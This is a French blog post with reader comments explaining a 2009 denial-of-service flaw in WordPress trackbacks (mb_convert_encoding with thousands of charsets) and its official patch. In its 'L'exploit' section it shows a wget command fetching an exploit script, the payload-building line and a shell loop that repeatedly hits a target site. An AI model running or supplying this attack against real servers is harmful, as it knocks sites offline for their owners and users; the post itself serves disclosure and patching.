WordPress Trackback Denial of Service


Faille WordPress
Une faille de sécurité vient d'être découverte pour les versions de WordPress inférieures à la 2.8.5. Le trou de sécurité permet, à une personne malveillante, de provoquer facilement un déni de service sur le serveur hébergeant le site, afin de rendre ce dernier inopérant.

La faille

Le bout de code remis en cause est celui-ci. Il se trouve dans le fichier wp-trackbacks.php :

if ( function_exists(‘mb_convert_encoding') ) { // For international trackbacks
  $title = mb_convert_encoding($title, get_option('blog_charset'), $charset);
  $excerpt = mb_convert_encoding($excerpt, get_option('blog_charset'), $charset);
  $blog_name = mb_convert_encoding($blog_name, get_option('blog_charset'), $charset);
}

Ici, c'est l'utilisation de la fonction php mb_convert_encoding qui pose problème :

mb_convert_encoding(chaine, nouveau_charset, charset_origine)

Cette dernière permet de convertir l'encodage d'une chaîne de caractères. Elle accepte en troisième paramètre, plusieurs encodages. Ainsi, la fonction est capable de déterminer quel est l'encodage le plus proche de celui d'origine, en les testant un par un.

$text = mb_convert_encoding($text, 'UTF-8', 'ISO-8859-1,ISO-8859-1,ISO-8859-1,ISO-8859-1');

Ce test demande bien entendu beaucoup de ressources au serveur, surtout si la chaîne de caractères à vérifier est longue.

L'exploit

Pour exploiter cette faiblesse, il suffit donc d'envoyer un trackback contenant une chaîne de 140 000 caractères et indiquer qu'il y a 23 333 charsets d'origine possible. Cela aura pour effet de saturer le CPU du serveur.

Voici un exemple d'utilisation de l'exploit :

wget www.tux-planet.fr/public/hack/exploits/wordpress/exploit-wp-trackback.phps
mv exploit-wp-trackback.phps exploit-wp-trackback.php

On remarquera à la ligne 10, l'initialisation de la chaîne de 140 000 caractères et de son encodage :

$b = ""; $b = str_pad($b,140000,'ABCEDFG').utf8_encode($b);

Puis, on lance le déni de service en précisant l'adresse du site cible :

while /bin/true; do php exploit-wp-trackback.php http://www.cible.com; done;
...
hit!
hit!
hit!
...

Le correctif

Pour combler cette faille de sécurité, il suffit de mettre à jour votre WordPress avec la version 2.8.5 ou supérieure. Si vous souhaitez patcher le code à la main, il suffit simplement de remplacer la ligne suivante du fichier wp-trackback.php :

$charset = strtoupper( trim($charset) );

Par celle-ci :

$charset = str_replace( array(',', ' '), '', strtoupper( trim($charset) ) );

9 Commentaires pour "WordPress Trackback Denial of Service"

Flux des commentaires de cet article Ajouter un commentaire
  •  

    Héhé niceee :)

    RépondreRépondre
    Jérôme M. , le 21 octobre 2009 à 13:39
  •  

    Je sais pas ce que tu en penses mais dans son contexte:

    if ($charset)
    $charset = str_replace( array(',', ' '), '', strtoupper( trim($charset) ) );
    else
    $charset = 'ASCII, UTF-8, ISO-8859-1, JIS, EUC-JP, SJIS';

    est, de mon avis, une solution trop vite patchée, pour pas dire, mal torchée.

    "Code is poetry." Mouai... ;)

    RépondreRépondre
    Canyon , le 21 octobre 2009 à 14:45
  •  

    En fait c'est connu que tout le code de wordpress est fait à la va-vite.
    Cette solution de blog n'a pas un code très poétique...

    RépondreRépondre
    Phil , le 21 octobre 2009 à 17:26
  •  

    @Canyon : c'est le patch officiel de WordPress.

    @Phil : troll detected !!!

    RépondreRépondre
    pti-seb , le 21 octobre 2009 à 19:17
  •  

    Le plus impressionnant dans tout ça c'est que le blog de la communauté francophone n'en parle même pas !
    Thx pti-seb!

    RépondreRépondre
    inalgnu , le 21 octobre 2009 à 22:12
  •  

    Enfin un site qui n'hesite pas a publier les failles (béantes!) de sécurité de WordPress. Cette plate-forme de blog entière est une horreur, une erreur! J'attends avec impatience la fin de WordPress et je n'hésite pas à le faire savoir.

    RépondreRépondre
    Lucien , le 23 octobre 2009 à 00:41
  •  

    lol Vu, Lucien ;) Un blog de buzz, non?

    @ptit-seb : je veux juste dire que je vois pas l'intérêt d'accepter un charset inexistant ou de str_replace sur le même charset inexistant.

    Un bon in_array des familles, par exemple, couvrirait quasi les charset ou :

    if ( ($charset) && (!is_array($charset)) ){
    $charset = str_replace( array(',', ' '), '', strtoupper( trim($charset) ) );
    }
    else{
    $charset = 'ASCII, UTF-8, ISO-8859-1, JIS, EUC-JP, SJIS';
    }

    limite...
    Bref, je veux pas troller mais je suis déçu de ce genre de patch et pourtant j'adore cette plateforme...
    Troll again : à quand un audit du code?

    ++

    RépondreRépondre
    Canyon , le 23 octobre 2009 à 13:03
  •  

    Merci

    RépondreRépondre
    Amarox , le 29 octobre 2009 à 11:55
  •  

    Autre attaque ddos wordpress récente (en bash). Je la trouve plus efficace que celle sur le site.

    RépondreRépondre
    zupp , le 15 janvier 2010 à 02:51
 

Ajouter un commentaire

actualité android apache apple astuce astuces bash bilboblog blog boot chrome clavier commande commandes conky date debian Desktop développement elementary exploit faille fedora firefox flash gimp gnome google graphique Graphisme hack hacking Hardware humour intel internet iphone jailbreak Jeux Kde kernel libre Linux log logiciels Logiciels Libres lucid lynx maemo mail maquette metasploit microsoft mobile mockup monitoring mozilla multi-touch musique mysql n900 nautilus nokia noyau openoffice open source password photos php Planet publicité redhat red hat rpm réseau screenshot script serveur serveurs shell sql ssh statistiques sysadmin system Sécurité thème tux-planet tv twitter ubuntu unity vidéo vidéos vlc voyage wallpaper windows wordpress yum